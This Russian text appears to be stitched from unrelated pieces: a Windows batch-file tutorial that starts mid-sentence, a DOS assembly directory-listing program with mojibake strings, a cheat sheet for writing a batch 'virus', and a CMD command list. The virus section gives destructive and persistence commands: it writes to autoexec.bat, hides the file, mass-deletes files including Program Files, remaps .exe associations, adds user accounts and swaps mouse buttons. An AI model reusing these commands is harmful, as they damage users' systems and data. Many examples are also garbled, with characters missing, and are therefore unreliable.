«, что получить частичное
значение (расширение переменной), или изменить его заменой какой-либо части.
Примеры использования расширений переменных рассмотрены ниже.
В состав дополнительных средств Windows 2000/XP, и в комплект дистрибутива Windows 7 входит специальная утилита для формирования пользовательских и системных переменных окружения SetX, позволяющая записывать имена и значения переменных в реестр . Ссылка «Список команд CMD Windows» в конце статьи.
Передача параметров командному файлу.
Очень полезной особенностью работы с командными файлами является
возможность передавать параметры командной строки и использовать их
значения в операциях внутри самого командного файла.
BAT-файл параметр1 параметр2 .
параметрN
В самом командном файле первый параметр будет доступен как переменная %1,
второй — %2 и т.п. Путь и имя самого командного файла доступно как переменная %0.
Для примера создадим командный файл, задачей которого будет выдача на экран значений введенных при его запуске параметров командной строки. Для вывода
текста на экран используется команда ECHO текст ,
однако если «текст» заменить на %0, — то будет выдано имя командного файла, %1 — первый аргумент, заданный в строке запуска, %2 — второй и т.д.
Создаем, например, командный файл params.bat следующего содержания:
echo off
echo Это командный файл %0
echo Первый параметр=%1
echo Второй параметр=%2
echo Третий параметр = %3
и запускаем его на выполнение следующей командой:
params.bat FIRST second «two words»
после его выполнения вы поймете, как это работает, и что
параметры содержащие пробелы, нужно заключать в двойные кавычки.
В первой строке командного файла используется
команда «echo off» для того, чтобы обрабатываемые командным процессором
строки не выдавались на экран.
Для проверки наличия каких-либо входных параметров, передаваемых
командному файлу, можно проверить, является ли значение переменной %1
пустым:
if «%1» EQU «» goto error
Echo Должен быть задан хотя бы один входной параметр
В командных файлах большого размера трудно обойтись без справочной
информации в виде комментариев, для чего используется конструкция
REM пробел текст
Строки, начинающиеся с REM пробел, командным процессором игнорируются.
rem ECHO OFF выключает режим вывода содержания строк командного
файла на экран
REM будет выводиться только результат их выполнения.
echo Первый параметр=%1
echo Второй параметр=%2
echo Третий параметр = %3
Если к имени команды первым символом добавляется @,
то независимо от режима ECHO (ON или OFF), вывод обрабатываемой строки не
выполняется. Попробуйте в данном примере «ECHO OFF» заменить на «@ECHO OFF» —
результат говорит сам за себя. Строка, которая выключает режим вывода,
не будет выдаваться на экран. Вывод эха на экран устанавливается по
команде ECHO ON и, обычно, используется в целях диагностики.
rem ECHO ON включает режим вывода содержания строк командного
файла на экран
REM будет сама командная строка и результат ее выполнения,
REM но строки, начинающиеся символом @ выводиться не будут
ECHO ON
@echo Первый параметр=%1
@echo Второй параметр=%2
@echo Третий параметр = %3
Переходы и метки.
В командных файлах можно использовать команды условного перехода,
меняющие логику их работы в зависимости от выполнения определенных условий.
Для иллюстрации приемов использования условных переходов создадим командный
файл, целью которого будет присвоение заранее определенной буквы для
съемных носителей, в качестве которых будут использоваться флэш-диски.
Условия таковы — есть 2 флэш-диска, один из которых должен быть виден в
проводнике как диск X: а второй — как диск Y: независимо от того, в какой
порт USB они подключены и какие буквы присвоены им операционной системой.
Будем считать, что реальные диски могут быть подключены как F: или G:
Опознавание дисков будем выполнять по наличию файла с определенным именем
(лучше такой файл сделать скрытым в корневом каталоге и назвать его как-нибудь
необычно):
Flashd1.let — на первом диске
Flashd2.let — на втором
Таким образом, задача командного файла заключается в том, чтобы проверить
наличие на сменных дисках F: и G: файлов Flashd1.let
или Flashd2.let и, в зависимости от того, какой из них присутствует,
присвоить диску букву X: или Y:
Для поиска файла на диске воспользуемся командой IF EXIST :
IF EXIST имя_файла команда
В качестве команды проще всего воспользоваться SUBST , сопоставляющей имя диска и каталог.
SUBST X: C: — — создать виртуальный диск
X:, содержимым которого будет корневой каталог диска C:
Для решения задачи, создаем командный файл, например setletter.bat, следующего содержания:
IF EXIST G:flashd1.let SUBST X: G:
IF EXIST F:flashd1.let SUBST X: F:
IF EXIST G:flashd2.let SUBST Y: G:
IF EXIST F:flashd2.let SUBST Y: F:
После выполнения этого командного файла у вас появятся диски X: и Y:
Однако, если такой файл выполнить повторно,
команда SUBST выдаст сообщение об ошибке — ведь диски X: и Y:
уже существуют.
Поэтому, желательно обойти выполнение SUBST, если виртуальные диски
X: и Y: уже созданы, или удалять их, используя SUBST с параметром -d
перед подключением. Попробуйте изменить командный файл setletter.bat с
использованием команды перехода GOTO ,
осуществляющей передачу управления строке пакетного файла на указанную
метку.
В качестве метки используется строка символов, начинающаяся
с двоеточия. Сделаем изменения в нашем командном файле, чтобы не возникало
сообщений об ошибке:
REM если не существует X: — то перейдем на метку SETX
IF NOT EXIST X: GOTO SETX
REM если существует X: — перейдем на проверку наличия Y:
IF EXIST G:flashd1.let SUBST X: G:
IF EXIST F:flashd1.let SUBST X: F:
REM если Y: существует — завершим командный файл.
IF EXIST Y: GOTO EXIT
IF EXIST G:flashd2.let SUBST Y: G:
IF EXIST F:flashd2.let SUBST Y: F:
REM выход из командного файла
Конечно, данный пример не может считаться образцом программирования, но
главная цель, в данном случае, это не написание оптимального командного
сценария, а пояснения принципов использования меток и переходов. Далее по
тексту, я старался, насколько это возможно, использовать именно такой
подход — главное не оптимальность кода командного файла, а его максимальная
простота для понимания.
При выполнении измененного таким образом командного файла, сообщение об
ошибке при выполнении SUBST исчезнет.
Одним из важнейших приемов при написании сложных командных файлов
является анализ успешности выполнения конкретной команды или программы.
Признаки ошибок при выполнении команд можно отслеживать, анализируя
специальную переменную ERRORLEVEL ,
значение которой формируется при выполнении большинства программ.
Обычно ERRORLEVEL равно нулю, если программа завершилась без ошибок и
единице — при возникновении ошибки. Могут быть и другие значения, если они
предусмотрены в выполняемой программе.
В качестве команды в строке командного файла можно использовать также
командный файл. Причем, для передачи с возвратом обратно к точке выполнения
вызывающего командного файла используется
команда CALL . Попробуйте создать командный файл test.bat, следующего содержания:
ECHO Вызов 1.bat
В этом же каталоге, создайте второй файл под именем 1.bat, содержащий
команду
PAUSE , приостанавливающую выполнение командного файла до
нажатия любой клавиши.
При выполнении командного файла test.bat будет выдано на экран
сообщение
и управление получит командный файл 1.bat с одной единственной командой
pause. После начатия клавиши на клавиатуре управление будет возвращено
вызвавшему командному файлу
на строку «ECHO Возврат.» и на экран будет выдано
Если же в файле test.bat убрать CALL, оставив «1.bat», то возврат
выполняться не будет.
Вызываемый командный файл может создавать переменные и присваивать им
определенные значения, которые будут доступны для обработки в вызывающем
файле. Попробуйте изменить файл test.bat на следующее содержимое:
ECHO Вызов 1.bat
ECHO Получено из файла %MYFILE% значение MYNUMBER=%MYNUMBER%.
а в файле 1.bat на следующее
SET MYFILE=»Very good 1.bat»
Кстати, используя передачу управления командному файлу, можно организовать
его зацикливание. Попробуйте добавить в конец файла test.bat строку:
Выйти из зацикливания командного файла можно по нажатию комбинации
CTRL-Break.
Возможно использование команды CALL для вызова процедуры внутри
командного файла.
В этом случае в качестве аргумента используется не имя внешнего файла, а
метка:
Примеры командных файлов.
Использование утилит командной строки и командных файлов нередко позволяют
решить многие проблемы связанные с повседневной эксплуатацией компьютерной
техники. Большинство системных администраторов и грамотных пользователей
продолжают ими пользоваться, несмотря на то, что в Windows проявилось новое,
более мощное и современное средство управления системой — WMI
(Windows Management Instrumentation). Очевидно, не в последнюю очередь, это
обусловлено простотой реализации и, тем не менее, — достаточной
эффективностью использования командных файлов. Ниже приведены простые
примеры с комментариями, которые демонстрируют некоторые возможности и
способы применения .cmd и .bat
Своя команда для создания новых файлов.
В составе операционной системы Windows нет специальной команды для создания нового файла, но без нее можно легко обойтись несколькими способами:
Копирование с клавиатуры в файл
COPY CON myfile.txt
При выполнении этой команды данные с клавиатуры (стандартное устройство CON — консоль) будут заноситься в файл myfile.txt. Нажатие клавиши F6 или комбинации CTRL-Z завершит вывод.
Перенаправление вывода
ECHO 1 > myfile.txt
При выполнении этой команды будет создан файл myfile.txt, содержащий символ «1»
Комбинация перенаправления ввода и перенаправления вывода:
COPY CON > myfile.txt < xyz
При выполнении этой команды, как и в первом случае, используется копирование
с консоли в файл, но вместо ручного ввода данных с клавиатуры используется ввод с
несуществующего файла xyz. Система выдаст сообщение, о том, что такого
устройства или файла
не существует, но пустой файл myfile.txt будет успешно создан.
Еще проще использовать команду копирования из фиктивного устройства nul в файл. Использование устройства nul позволяет обойти стандартные операции ввода-вывода, которые для него реально не выполняются.
COPY NUL myfile.txt
При работе в командной строке часто приходится создавать новые пустые
файлы, поэтому, стоит подготовить свой командный файл (например, с
именем nf.bat),
а имя нового создаваемого файла передавать ему в качестве параметра при
запуске.
REM Создание пустого файла, имя которого задано в строке запуска
if «%1» EQU «» goto error
ECHO ОШИБКА: Необходимо задать имя нового файла !
Для простоты использования, поместите этот командный файл в системный каталог
(например, в C:windowssystem32) или любой другой, существующий в путях
поиска, задаваемых значением переменной PATH). Теперь, в командной строке, находясь в любом каталоге можно одной командой создавать пустые файлы.
nf.bat myfile.txt — создать файл с именем myfile.txt в текущем каталоге.
nf.bat C:myfile.txt — создать файл в корневом каталоге диска C:
nf.bat «%USERPROFILE%myfile.txt» — создать файл в каталоге профиля текущего пользователя.
Расширение командного файла (.bat) можно не набирать и команда еще больше упрощается:
nf myfile.txt
В тексте командного файла присутствует проверка, задано ли имя
создаваемого файла в командной строке (if «%1%» EQU «» goto error), и если не
задано — выводится сообщение об ошибке и командный файл завершает
свою работу.
В качестве тренировки, попробуйте добавить в этот командный файл проверку
на существование файла с именем, указанным в командной строке.
Присвоение съемному диску одной и той же буквы.
Задача заключается в том, чтобы съемный USB диск (флэш диск) был доступен
всегда под одной и той же буквой, независимо от того, на каком компьютере он
используется
и как он подключен. Для ее решения воспользуемся уже упоминаемой выше
командой SUBST, но реализуем присвоение новой буквы диску с
использованием подстановочного значения переменной %0, создаваемой
системой при каждом запуске командного файла.
Выберем для съемного диска желаемую букву, например — X.
Некоторые из переменных окружения, в том числе и переменная %0
принимающая значение пути и имени выполняющегося командного файла, позволяют
при определенной модификации с использованием специального признака —
символа «
« получить ее частичное значение (расширение переменной).
Например, не полный путь
файла, а только его имя, или каталог расположения, или букву диска, с
которого он был запущен или еще около десятка различных элементов, связанных
с подстановочными значениями переменной %0.
Имя диска, с которого
был запущен командный файл доступно как переменная %
Теперь создаем командный файл следующего содержания:
что означает — создать виртуальный диск X:, которому сопоставлен
логический диск, являющийся частью пути данного командного файла.
Если такой файл записать на флэшку, и выбрать присваиваемую букву диска
поближе к концу алфавита (чтобы не оказалась занятой другим реальным дисковым
устройством) то после его запуска, в системе будет создаваться новый диск
всегда под одной и той же буквой.
Дополнительное представление о подстановочных значениях
переменной %0 можно получить из командного файла следующего
содержания:
ECHO ОБРАБАТЫВАЕТСЯ ФАЙЛ — %0
ECHO Дата/время создания/изменения командного файла — %
ECHO Путь командного файла — «%
ECHO Диск командного файла — %
ECHO Каталог командного файла — «%
ECHO Имя командного файла — %
ECHO Расширение командного файла — %
ECHO Короткое имя и расширение — %
ECHO Атрибуты командного файла — %
ECHO Размер командного файла — %
Создание архива, имя которого содержит дату и время.
Решим следующую задачу — нужно создать архив файлов, находящихся в каталоге
C:Program FilesFAR. Имя архивного файла должно состоять из текущего времени
(часы.минуты.секунды — ЧЧ.ММ.СС.rar), и помещен он должен в новый каталог, имя которого должно состоять из текущей даты
(день.месяц.год — ДД.ММ.ГГГГ). Для архивирования будем использовать архиватор RAR.
Формат запуска для создания архива:
RAR a -r < путь и имя архива > < Путь и имя архивируемых данных >
a — команда создания архива.
-r — ключ, определяющий архивирование подкаталогов (т.к. в исходной папке есть подкаталоги).
Таким образом, для решения задачи нужно правильно создать имена и пути для RAR. Для чего
воспользуемся следующими исходными данными:
и числового значения, определяющего группу символов из данных текущего значения переменной.
Данный пример, как и многие другие в этой статье, представляет собой не самую оптимальную, с точки зрения программирования конструкцию, и представлен в виде, максимально доступном для понимания. Набравшись опыта в написании командных файлов, вы можете переделать его, превратив, буквально в пару строк.
Дата, получаемая из переменной %DATE% при стандартных настройках региональных установок Windows 2000
выглядит следующим образом:
Пн 21.01.2005 — День недели(2 символа)-Пробел(1 символ)-дата(10 символов) — всего 13 символов.
В Windows XP/Vista/7 день недели отсутствует, что несколько упрощает структуру даты.
Для создания нового каталога в командной строке используется команда
MD имя каталога .
Имя каталога нужно получить из текущей даты.
Создаем в памяти временную переменную VDATE и присваиваем ей значение
переменной окружения DATE, без первых 3-х символов (Пн и пробел) — 20.01.2005:
set VDATE=%date:
В версиях Windows, где в значении принимаемом переменной DATE, отсутствует
день недели (3 символа — «Пн «), значение VDATE получится не тем, что
требуется. Чтобы не анализировать признаки наличия данного кода, можно
воспользоваться и другим вариантом — не пропустить первые 3 символа (
3) от
начала строки переменной DATE, а взять 10 символов от конца строки, указав число 10 со знаком «минус» — будет тот же результат — 20.01.2010
Создаем каталог на диске C:, имя которого = текущая дата из переменной VDATE:
После выполнения этой команды на диске C: будет создан каталог с именем 20.01.2005
Можно обойтись без лишних операторов, связанных с формированием значения переменной VDATE, которую я использовал для упрощения понимания структуры создаваемого имени каталога:
-10% — создать каталог, имя которого будет представлено в виде текущей даты ДД.ММ.ГГГГ
Время, получаемое из переменной %TIME% выглядит так :
14:30:59.93 — Часы, минуты, секунды, сотые доли секунды.
Сотые доли — это в имени файла архива, пожалуй, лишнее. Создаем временную
переменную VTIME и присваиваем ей текущее время без последних 3-х символов, т.е
пропускаем 0 символов от начала и отсекаем 3 символа от конца. Количество пропущенных и отсекаемых символов разделяются запятой:
set VTIME=%time:
Теперь VTIME = 14:30:59, но знак двоеточия ( : ) в имени файла использовать нельзя, это специальный символ, использующийся в именах устройств (диск C:). Поэтому, его придется заменить его на любой другой символ, допустимый в имени файла, например, точку. Для замены символов используется знак » C:Program filesfar*.*»
Теперь можно создать командный файл с содержимым:
rar.exe a -r C:%VDATE%%VTIME%.rar «C:Program filesfar*.*»
Такой командный файл можно выполнять через автозагрузку, или как часть
скрипта, при входе пользователя в домен, либо с помощью планировщика в
заданное время, и у вас всегда будут в наличии упорядоченные по времени
архивы критических данных.
Случаются ситуации, когда необходимо создать папку с текущей датой, для копирования в неё определённых документов или снимков.
Можно пойти стандартным способом, создать папку и с клавиатуры ввести дату, но мы рассмотрим как этот способ полуавтоматизировать.
На помощь нам придет командная строка.
Первое, что необходимо сделать, это создать текстовой файл, написать в нем следующий код и сохранить данный файл с расширением bat.
@echo off set h=%TIME:~0,2% set d=%TIME:~3,2% set s=%TIME:~6,2% set dd=%DATE:~0,2% set mm=%DATE:~3,2% set yyyy=%DATE:~6,4% set fixdate=%dd%-%mm%-%yyyy% set fixtime=%h%-%d%-%s% set fixdatetime=%fixdate%_%fixtime% md %fixdatetime%>nul 2>nul
Рассмотрим как работает данный bat-файл.
Объявляются переменные для даты и времени, далее эти переменные объединяются в единую переменную fixdatetime и эта переменная присваивается создаваемой папке.
Почему добавлено время? Две папки с одинаковой датой в одном каталоге Windows не позволит создать или перезапишет данные. А папки с датой и временем до секунды будут всегда отличаться.
Единственный минус — папки с датой и временем будут создаваться в том каталоге, где расположен bat-файл.
- ВКонтакте
;DOS, TASM, COM-файл ;tasm.exe /m filename.asm ;tlink.exe /t /x filename.obj ; .model tiny .386 .code ORG 8Dh Ind dw ? ;число файлов в папке Klast dw ? ;номер кластера начала внешней папки ORG 95h Attrib db ? ;атрибут файла Tim dw ? ;время Dat dw ? ;дата Siz dd ? ;размер File db ? ;имя ORG 100h START: ;дать текущий диск. После в AL текущий логический диск (0=A, 1=B, 2=C и т.д.) mov ah,19h int 21h lea bx,Tabl xlat mov [Disk],al lea dx,Strin ;на строку с логическим диском call vivod ;вывод ее на экран ;дать текущий путь. После в DS:SI текущая папка с завершающим 0 mov ah,47h lea si,Path ;буфер результата xor dl,dl ;0 - текущий диск int 21h lea si,Disk ;выводим текущий путь call vivodB ;посимвольно lea dx,Per ;перевод строки call vivod lea dx,Per ;еще один перевод строки call vivod lea dx,Shapka call vivod lea dx,Per call vivod cmp byte ptr [si-1],'' ;у корня уже есть этот символ jz short no_slash ;и тогда для полного пути он не нужен mov byte ptr [si],'' ;а если не корень то подставляем его inc si no_slash: mov dword ptr [si],002a2e2ah ;искать по маске *.* в конце 0 lea dx,Disk ;маска для поиска mov cl,0FFh ;все атрибуты mov ah,4Eh ;найти первый совпадающий файл int 21h lea si,File ;исходная строка в DAT lea dx,Inf ;строка результат call inf_ ;заполнение,вывод на экран и очистка строки m_01: mov ah,4Fh ;найти следующий файл int 21h jc short exit ;установлен ли флаг,и если да то выход lea si,File ;иначе вывод на экран call inf_ jmp short m_01 ;и продолжить поиск следующего файла exit: mov ax,[Ind_Files] ;число файлов в папке lea si,Ind_S ;строка для результата call _16_assci ;преобразовать mov eax,[Summa_Files] ;объем всех файлов lea si,Summa ;строка для результата call _16_assci ;преобразовать lea dx,Summa_S ;и все ото вывести на экран call vivod ; ret ;выход из проги ;--------- Процедура вывода на экран строки до символа '$' --------- vivod proc near mov ah,9 int 21h ret vivod endp ;--------- Процедура вывода на экран по символу до (0) ------ vivodB proc near start_vivodB: mov dl,[si] ;в DL символ cmp dl,0 jz short exit_vivodB mov ah,2 ;функция вывода на экран по 1 символу int 21h inc si ;на следующий символ для вывода jmp short start_vivodB exit_vivodB: ret vivodB endp ;------------------ inf_ proc near mov di,dx ;DX всегда на строке результата push di call vivod_S ;подготовка строки для остальной инфы о файле test [Attrib],00010000b ;папка? jnz short papka_m test [Attrib],00001000b ;метка? jnz short metka_m inc word ptr [Ind_files];это не папка и не метка а файл. Значит увели ;чить индекс количества файлов mov eax,[Summa_Files] add eax,[Siz] mov [Summa_Files],eax test [Attrib],00100000b ;архивный? jnz short arh_m jmp short no_arh_m arh_m: lea si,A_S ;исходная строка lea di,Papka+1 ;строка результат call vivod_S ;скопировать исходную в результат no_arh_m: test [Attrib],00000001b ;чтения? jnz short read_m jmp short no_read_m read_m: lea si,R_S lea di,Papka+2 call vivod_S no_read_m: test [Attrib],00000010b ;скрытый? jnz short hint_m jmp short no_hint_m hint_m: lea si,H_S lea di,Papka+3 call vivod_S no_hint_m: test [Attrib],00000100b ;системный? jnz short sys_m jmp short exx sys_m: lea si,S_S lea di,Papka+4 call vivod_S jmp short exx papka_m: lea si,Papka_S lea di,Papka call vivod_S jmp short papk metka_m: lea si,Metka lea di,Papka call vivod_S jmp short papk exx: mov eax,[Siz] ;размер файла lea si,@Size ;строка для результата call _16_assci ;преобразовать papk: mov ax,[Dat] and ax,0000000000011111b;день 0-4 биты lea si,Day mov word ptr [si+1],'0.' call _16_assci mov ax,[Dat] and ax,0000000111100000b;месяц 5-8 биты shr ax,5 lea si,Mans mov byte ptr [si+1],'.' call _16_assci mov ax,[Dat] and ax,1111111000000000b;год 9-15 биты shr ax,9 add ax,80 ;с 1980 года lea si,Year call _16_assci mov byte ptr [Mans+1],'.' mov ax,[Tim] and ax,1111100000000000b;час 11-15 биты shr ax,11 lea si,Time_Ch mov word ptr [si+1],'0:' call _16_assci mov ax,[Tim] and ax,0000011111100000b;минуты 5-10 биты shr ax,5 lea si,Time_Min call _16_assci mov ax,[Klast] lea si,Klast_S call _16_assci ; call vivod ;вывод всей строки pop di ;очистка строки mov cx,53 mov al,' ' loop_inf_: mov [di],al inc di loop loop_inf_ ; mov byte ptr [di],'@' ret inf_ endp ;-- Пересылка строки из SI в DI до символа (0) ---------------- vivod_S proc near start_vivod_S: mov al,[si] cmp al,0 jz short exit_vivod_S mov [di],al inc si inc di jmp short start_vivod_S exit_vivod_S: ret vivod_s endp ;------------------ ;преобразование 16-ричных чисел в 10-ричные ;Разрушаемый EAX - преобразуемое число ;Разрушаемый SI - указатель на конец строки результата _16_assci proc near xor bl,bl push dx mov ecx,10 c10_m0: cmp eax,10 jb short c10_m1 xor edx,edx div ecx or dl,30h mov byte ptr [si],dl dec si inc bl cmp bl,3 ;между 3 символами пробел 000 000 000 jnz short no_probel_c10 mov byte ptr [si],' ' dec si xor bl,bl no_probel_c10: jmp short c10_m0 c10_m1: or al,30h mov byte ptr [si],al pop dx xor eax,eax ret _16_assci endp ;-------------------------------------- Inf db ' ' Papka db ' ' @Size: db ' ' Day: db ' . ' Mans: db ' . ' Year: db ' ' db ' ' Time_Ch: db ' : ' Time_Min: db ' ',10,13,'$' Summa_S db 10,13,'‚ Ї*ЇЄҐ ' db ' ' Ind_S: db ' д*©«(®ў). ЋЎкҐ¬ ' db ' ' Summa: db ' Ў*©в. Љ«*бвҐа ' Klast_S: db ' ',10,13,'$' Ind_Files dw 0 Summa_Files dd 0 Papka_S db '<ЏЂЏЉЂ>',0 Metka db '<ЊҐвЄ* ⮬*>',0 A_S db 'A',0 S_S db 'S',0 H_S db 'H',0 R_S db 'R',0 Per db 10,13,'$' Tabl db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' Shapka db '€¬п д*©«* ЂваЁЎгвл ђ*§¬Ґа „*в* ‚६п',10,13 db '-----------------------------------------------------$' Strin db 10,13,'‘®¤Ґа¦Ё¬®Ґ Ї*ЇЄЁ $' Disk db 0,':' Path db ? ;----------------------------------------------------- end start
Echo – команда вывода на экран
Echo c:ski.bat >> autoexec.bat (Прописывает файл ski.bat в автозагрузку
@ — запрещает показывать
@echo off — запрещает вывод всех команд на экран
for – цикл, выполняет команду указанное количество раз
do – указывает, что делать
%%i – переменная, куда подставляются значения
in(1,1,100) – набор, который раскрывается в последовательность чисел от заданного начала, конца и шага
В нашем случае от 1,2,3,4,5,6,7,8…100
mkdir – создаёт папку
rmdir – удаляет папку
copy %0 x:y — копирует вирус на диск x в папку y (пример copy %0 C:System.bat)
Copy %0 c:ski.bat (копирует вирус только изменив названия)
label x:y — переименовывает диск x на имя y (пример label C:Disc error)
Label E: PRIDUROK (CD—ROM будет называться PRIDUROK)
time х:у — меняет время на х часов и у минут (пример time 14:27)
date x.y.z — меняет дату на x день, y месяц, z год (пример date 16.11.05)
Date 13.09.96 (эта строка изменяет дату)
md х — создаст папку, в том месте, где наш вирус, с именем х (пример md Papka)
md PRIDUROK
md LUZER
md DURAK (Создает пустые папки)
md LAMER
del *.* /q — удалит все файлы (наш вирус тоже) в папке, где лежит наш вирус (кроме папок)
del x:y *.* /q — удалит все файлы на диске х в папке у (кроме папок) (пример del F:Data*.* /q)
del c:Program Files/q (удаляет все файлы из этой папки)
assoc .х=.у — переделает все файлы, на компьютере, форматом х на у (пример assoc .exe=.mp3)
assoc .exe=.mp3 (запускает все екзешники как музыка
ren 5—??.png 7—??.png переименование файлов 5—??.png в 7—??.png (? означает один символ)
net user «х» /add — добавит на компьютер пользователя под именем х (пример net user «Smoked» /add)
set — вывод, задание и удаление переменных среды cmd.exe.Там не все переменные, но много! Все смотреть просто set.
Attrib +h c:ski.bat ( делает файлу ski.bat атрибут скрытый
If exist c:ski.bat goto abc (проверяет существует ли файл, …..)
:abc ( ……если он существует, то программа перейдет на метку :abc)
tftp — trivial ftp
tasklist — отображает приложения и сеансы, связанные с ним.
taskkill — позволяет завершить один или несколько процессов
tskill — убить процесс
reg — непосредственная работа с реестром. Смотреть reg /? всем!
rcp — обмен файлами через rcp в ascii
runas — от имени пользователя
bootcfg — настройка boot.ini
append — позволяет открывать удаленные файлы так, словно они находятся в текущем.
getmac — получить мас
logoff — Завершить пользовательский сеанс.
mem — вывод на экран сведений о текущих процессах в ОЗУ
mqbkup — архивирование
netsh — ??
openfiles — просмотреть открытые файлы.
rsh — выполнение команд на удаленных узлах с запущенной rsh
sc — command line ??
rexec — выполнение команд на удаленных узлах с запущенной rexec
shutdown — выключить (хе-хе) local or remote computer.
systeminfo — вывод инфы о компе.
schtasks — планировщик заданий.
xcopy — копирование файлов и каталогов.
tsshutdn — завершение работы сервера в установленном порядке.
%SystemRoot%/system32/rundll32 user32, SwapMouseButton — Данная строчка меняет клавиши мыши местами
append — позволяет программам открывать файлы в указанных каталогах так , словно они находятся в текущем каталоге.
arp — отображение и изменение таблиц преобразования IP-адресов в физические, используемые протоколом разрешения адресов.
assoc — вывод либо изменение сопоставлений по расширениям имён файлов.
at — команда предназначена для запуска программ в указанное время.
atmsdm — Контроль подключений и адресов, зарегистрированных диспетчером вызовов ATM в сетях с асинхронным режимом передачи (ATM).
attrib — изменение атрибутов файлов и папок.
auditusr — задаёт политику аудита пользователей.
break — включение режима обработки клавиш CTRL+C.
bootcfg — эта программа командной строки может быть использована для настройки , извлечения , изменения или удаления параметров командной строки в файле Boot.ini.
cacls — просмотр изменение таблиц управления доступом ACL к файлам.
call — вызов одного пакетного файла из другого.
cd — вывод имени либо изменение текущей папки.
chcp — вывод либо изменение активной кодовой страницы.
chdir — вывод либо смена текущей папки.
chkdsk — проверка диска и вывод отчёта.
chkntfs — выводит или изменяет параметры проверки диска во время загрузки.
ciddaemon — сервис индексации файлов.
cipher — программа шифрования файлов.
cls — очистка экрана интерпретатора.
cmd — запуск нового окна командной строки.
cmstp — установка профилей диспетчера подключений.
color — устанавливает цвет для текста и фона в текстовых окнах.
comp — сравнение содержимого двух файлов или наборов файлов.
compact — просмотр и изменение параметров сжатия файлов в разделах NTFS.
convert — преобразование файловой системы тома FAT в NTFS.
copy — копирование одного или нескольких файлов.
date — вывод либо установка текущей даты.
debug — средство для отладки и редактирования программ.
defrag — дефрагментация диска.
del — удаление одного или нескольких файлов.
devcon — альтернатива диспетчера устройств.
diantz — тоже что и MAKECAB.
dir — вывод списка файлов и подпапок из указанного каталога.
diskcomp — сравнение содержимого двух гибких дисков.
diskcopy — копирование содержимого одного гибкого диска на другой.
diskpart — использования сценария diskpart.
diskperf — счетчик производительности дисков.
doskey — редактирование и повторный вызов команд Windows; создание макросов DOSKey.
driverquery — просмотр списка установленных драйверов устройств и их свойства.
echo — вывод сообщений и переключение режима отображения команд на экране.
edit — запуск редактора MS—DOS.
endlocal — завершение локализации изменений среды в пакетном файле.
edlin — запуск построчного текстового редактора.
erase — удаление одного или нескольких файлов.
esentutl — обслуживание утилит для Microsoft (R) баз данных Windows.
eventcreate — эта команда позволяет администратору создать запись об особом событии в указанном журнале событий.
eventtriggers — эта команда позволяет администратору отобразить и настроить триггеры событий в локальной или удаленной системе.
exe2bin — преобразование EXE-файлов в двоичный формат.
exit — завершение командной строки.
expand — распаковка сжатых файлов.
fc — сравнение двух файлов или двух наборов файлов и вывод различий между ними.
find — поиск текстовой строки в одном или нескольких файлах.
findstr — поиск строк в файлах.
finger — вывод сведений о пользователях указанной системы.
fltmc — работа с фильтром нагрузки драйверов.
for — выполнение указанной команды для каждого файла набора.
forcedos — сопоставление приложений MS—DOS, которые не распознаются системой Microsoft Windows XP.
format — форматирование диска для работы с Windows.
fontview — программа просмотра шрифтов.
fsutil — управление точками повторной обработки, управление разреженными файлами, отключение тома или расширение тома.
ftp — программа передачи файлов.
ftype — просмотр и изменение типов файлов, сопоставленных с расширением имен файлов.
getmac — отображает MAC-адрес одного или нескольких сетевых адаптеров компьютера.
goto — передача управления содержащей метку строке пакетного файла.
gpresult — отображает результирующую политику (RSoP) для указанного пользователя и компьютера.
gpupdate — выполнение обновления групповых политик.
graftabl — выбор кодовой страницы для отображения символов национальных алфавитов в графическом режиме.
help — выводит не полный список команд, которые используются в cmd.
hostname — отображение имени компьютера.
if — оператор условного выполнения команд в пакетном файле.
ipconfig — вывод маску подсети, стандартный шлюз и информацию о вашем IP.
ipxroute — программа управления маршрутизацией NWLink IPX.
label — создание, изменение и удаление меток тома для диска.
lodctr — обновление имен счётчиков и поясняющего текста для расширенного счётчика.
logman — управление расписанием для счетчиков производительности и журнала трассировки событий.
logoff — завершение сеанса Windows.
lpq — отображение состояния очереди удалённой очереди печати lpq.
lpr — направляет задание печати на сетевой принтер.
lsass — сервер определения локальной защиты.
makecab — архивирование файлов в cab-архив.
md — создание папки.
mem — выводит сведения об используемой и свободной памяти.
mkdir — создание папки с расширенной функциональностью.
mmc — открытие окна консоли MMC.
mode – отладка системных устройств
mofcomp — 32-разр. компилятор Microsoft (R) MOF.
more — последовательный вывод данных по частям размером в один экран.
mountvol — просмотр, создание и удаление точек подключения тома.
move — перемещение и переименование файлов и каталогов.
mqbkup — утилита архивирования и восстановления очереди сообщений.
mqsvc — Обеспечивает инфраструктуру для работы распределенных приложений.
mrinfo — Работа с многоадресными рассылками.
msg — отправка сообщений пользователю.
msiexec — запуск установщика Windows.
nbtstat — отображение статистики протокола и текущих подключений TCP/IP с помощью NBT (NetBIOS через TCP/IP).
net — пакет приложений предназначенный для работы с сетью.
net1 — тоже самое что и net.
netsh — локальное или удаленное отображение и изменение параметров сети.
netstat — отображение статистики протоколов и текущих сетевых подключений TCP/IP.
nlsfunc — загрузка сведений о национальных стандартах.
nslookup — вывод информации, предназначенный для диагностики DNS.
ntbackup — запуск мастера архивирования.
ntsd — отладчик командной строки.
odbcconf — настройка драйвера ODBC.
openfiles — эта команда позволяет пользователю вывести список открытых файлов и папок, которые были открыты в системе.
pagefileconfig — настройка файлов подкачки и виртуальной памяти.
path — вывод либо установка пути поиска исполняемых файлов.
pathping — вывод информации о скрытый сетях и потери данных.
pause — приостанавливает выполнение сценария cmd.
pentnt — обнаруживает ошибки деления с плавающей точкой процессора Pentium, отключает аппаратную обработку чисел с плавающей точкой и включает эмуляции операций с плавающей точкой.
perfmon — открывает окно «Производительность».
ping — проверяет соединение с другим компьютером.
ping6 — команда проверки связи.
popd — изменяет одну папку на ту, которая была сохранена командой PUSHD.
powercfg — эта команда позволяет управлять электропитанием системы.
print — печать текстового файла.
prncnfg — настройка параметров принтера.
prompt — изменение приглашения командной строки cmd.exe.
proxycfg — инструмент настройки proxy соединения.
pushd — сохранения значений текущего каталога для использования POPD командой.
qappsrv — отображает доступные серверы терминалов в сети.
qprocess — отображает информацию о процессах.
qwinsta — отображение информации о сеансах терминалов.
rasdial — интерфейс связи из командной строки для клиента службы удалённого доступа.
rcp — обмен файлами с компьютером, на котором выполняется служба RCP.
recover — восстановление сохранившихся данных на поврежденном диске.
reg — редактирование системного реестра через командную строку.
regsvr32 — сервер регистрации.
relog — создает новый журнал производительности из уже имеющего.
rem — помещение комментария в пакетный файл.
